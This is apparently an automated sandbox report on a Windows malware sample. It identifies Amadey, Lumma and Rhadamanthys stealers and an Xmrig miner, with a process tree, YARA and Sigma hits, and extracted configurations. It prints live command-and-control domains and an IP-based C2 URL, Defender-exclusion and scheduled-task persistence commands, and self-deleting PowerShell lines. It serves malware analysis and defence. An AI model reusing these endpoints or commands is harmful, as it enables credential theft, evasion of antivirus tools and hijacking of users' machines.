Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1577992
MD5:	0afe3bc3b68ddb4ebb3878a01a8bcd9a
SHA1:	aa25366b2677ee9e0029c3e12f9063742227fe1b
SHA256:	f3e3c4115bd289a528c02aae90a563e6b5dd6009e125d1fb142bcc7218cf068d
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected RHADAMANTHYS Stealer

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Checks if the current machine is a virtual machine (disk enumeration)

Contains functionality to register a low level keyboard hook

Drops password protected ZIP file

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Found strings related to Crypto-Mining

Hides threads from debuggers

Injects code into the Windows Explorer (explorer.exe)

Leaks process information

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses cmd line tools excessively to alter registry or file data

Uses ping.exe to check the status of other devices and networks

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Uncommon Svchost Parent Process

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 3440 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 0AFE3BC3B68DDB4EBB3878A01A8BCD9A)

skotes.exe (PID: 6568 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 0AFE3BC3B68DDB4EBB3878A01A8BCD9A)

skotes.exe (PID: 2272 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 0AFE3BC3B68DDB4EBB3878A01A8BCD9A)

skotes.exe (PID: 2272 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 0AFE3BC3B68DDB4EBB3878A01A8BCD9A)

a5bb0fe977.exe (PID: 3836 cmdline: "C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)

cmd.exe (PID: 6156 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 6752 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)

7z.exe (PID: 5796 cmdline: 7z.exe e file.zip -p24291711423417250691697322505 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6304 cmdline: 7z.exe e extracted/file_7.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 1708 cmdline: 7z.exe e extracted/file_6.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 828 cmdline: 7z.exe e extracted/file_5.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6008 cmdline: 7z.exe e extracted/file_4.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 5884 cmdline: 7z.exe e extracted/file_3.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 5240 cmdline: 7z.exe e extracted/file_2.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 5768 cmdline: 7z.exe e extracted/file_1.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

attrib.exe (PID: 1532 cmdline: attrib +H "in.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

in.exe (PID: 356 cmdline: "in.exe" MD5: 83D75087C9BF6E4F07C36E550731CCDE)

attrib.exe (PID: 4432 cmdline: attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 4368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 2624 cmdline: attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 4112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 4128 cmdline: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 5712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5396 cmdline: powershell ping 127.0.0.1; del in.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 5980 cmdline: "C:\Windows\system32\PING.EXE" 127.0.0.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

fe64902db3.exe (PID: 6044 cmdline: "C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe" MD5: FF279F4E5B1C6FBDA804D2437C2DBDC8)

ed0fb10817.exe (PID: 2164 cmdline: "C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe" MD5: D6CFEC5F8C250D92D751030C95D46AEC)

1c5200ac19.exe (PID: 1128 cmdline: "C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe" MD5: 14BECDF1E2402E9AA6C2BE0E6167041E)

conhost.exe (PID: 5284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2372 cmdline: "powershell.exe" Add-MpPreference -ExclusionPath "C:\jcyhknhe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2452 cmdline: "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

09c0b8253b.exe (PID: 5864 cmdline: "C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe" MD5: D6070B7D0EC34E67A998DBE217C6C746)

svchost.exe (PID: 5440 cmdline: "C:\Windows\System32\svchost.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

WerFault.exe (PID: 4432 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5864 -s 668 MD5: C31336C1EFC2CCB44B4326EA793040F2)

c9ea911eaa.exe (PID: 1960 cmdline: "C:\Users\user\AppData\Local\Temp\1017258001\c9ea911eaa.exe" MD5: 8A9CB17C0224A01BD34B46495983C50A)

conhost.exe (PID: 6252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Intel_PTT_EK_Recertification.exe (PID: 4372 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)

explorer.exe (PID: 5008 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

powershell.exe (PID: 4524 cmdline: powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 344 cmdline: "C:\Windows\system32\PING.EXE" 127.1.10.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.	Sandworm	https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/ https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: LummaC

{"C2 url": ["discokeyus.lat", "necklacebudi.lat", "grannyejh.lat", "crosshuaht.lat", "sustainskelet.lat", "rapeflowwj.lat", "aspecteirs.lat", "cheapptaxysu.click", "energyaffai.lat"], "Build id": "CZJvss--"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000003.2693165990.0000000005040000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000002.2937370347.000000014040B000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000002.00000003.2059203986.0000000005110000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000002.2937239873.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000003.00000003.2062069633.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000002.2935994024.000000000063B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000023.00000003.3081437963.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002C.00000003.3230383274.0000000005170000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000002D.00000003.3246909441.0000000005060000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000023.00000003.3103034955.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000003.3081127174.0000000000EC4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.2101089794.00000000005F1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002D.00000002.3260956534.0000000003150000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000003.00000002.2102603392.00000000005F1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002C.00000003.3237144661.0000000005390000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000002C.00000003.3235165967.0000000005890000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000002D.00000003.3236944014.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000002D.00000003.3247105347.0000000005280000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000000.00000003.2031206255.0000000004B70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002C.00000003.3235735091.0000000005AB0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000023.00000003.3081290097.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000002.2935994024.0000000000617000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001E.00000003.2930529971.000001CF4BDC0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001E.00000003.2930529971.000001CF4BDC0000.00000004.00000001.00020000.00000000.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
0000001E.00000003.2930529971.000001CF4BDC0000.00000004.00000001.00020000.00000000.sdmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 4372	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: explorer.exe PID: 5008	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: fe64902db3.exe PID: 6044	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: fe64902db3.exe PID: 6044	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: fe64902db3.exe PID: 6044	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 09c0b8253b.exe PID: 5864	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
45.3.svchost.exe.5060000.0.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
45.3.svchost.exe.5060000.6.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
44.3.09c0b8253b.exe.5ab0000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
2.2.skotes.exe.5f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
44.3.09c0b8253b.exe.5890000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0.2.file.exe.af0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.5f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
30.3.Intel_PTT_EK_Recertification.exe.1cf4bdc0000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
30.3.Intel_PTT_EK_Recertification.exe.1cf4bdc0000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x324cc8:$x1: donate.ssl.xmrig.com
30.3.Intel_PTT_EK_Recertification.exe.1cf4bdc0000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x325978:$s1: %s/%s (Windows NT %lu.%lu 0x329580:$s3: \\.\WinRing0_ 0x2e3130:$s4: pool_wallet 0x2dd978:$s5: cryptonight 0x2dd988:$s5: cryptonight 0x2dd998:$s5: cryptonight 0x2dd9a8:$s5: cryptonight 0x2dd9c0:$s5: cryptonight 0x2dd9d0:$s5: cryptonight 0x2dd9e0:$s5: cryptonight 0x2dd9f8:$s5: cryptonight 0x2dda08:$s5: cryptonight 0x2dda20:$s5: cryptonight 0x2dda38:$s5: cryptonight 0x2dda48:$s5: cryptonight 0x2dda58:$s5: cryptonight 0x2dda68:$s5: cryptonight 0x2dda80:$s5: cryptonight 0x2dda98:$s5: cryptonight 0x2ddaa8:$s5: cryptonight 0x2ddab8:$s5: cryptonight
45.3.svchost.exe.5280000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
45.3.svchost.exe.5060000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
3.2.skotes.exe.5f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
30.3.Intel_PTT_EK_Recertification.exe.1cf4bdc0000.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
30.3.Intel_PTT_EK_Recertification.exe.1cf4bdc0000.0.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
30.3.Intel_PTT_EK_Recertification.exe.1cf4bdc0000.0.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
31.2.explorer.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
31.2.explorer.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
31.2.explorer.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
Click to see the 14 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" Add-MpPreference -ExclusionPath "C:\jcyhknhe", CommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\jcyhknhe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe, ParentProcessId: 1128, ParentProcessName: 1c5200ac19.exe, ProcessCommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\jcyhknhe", ProcessId: 2372, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 356, ParentProcessName: in.exe, ProcessCommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, ProcessId: 4128, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\svchost.exe", CommandLine: "C:\Windows\System32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe, ParentProcessId: 5864, ParentProcessName: 09c0b8253b.exe, ProcessCommandLine: "C:\Windows\System32\svchost.exe", ProcessId: 5440, ProcessName: svchost.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

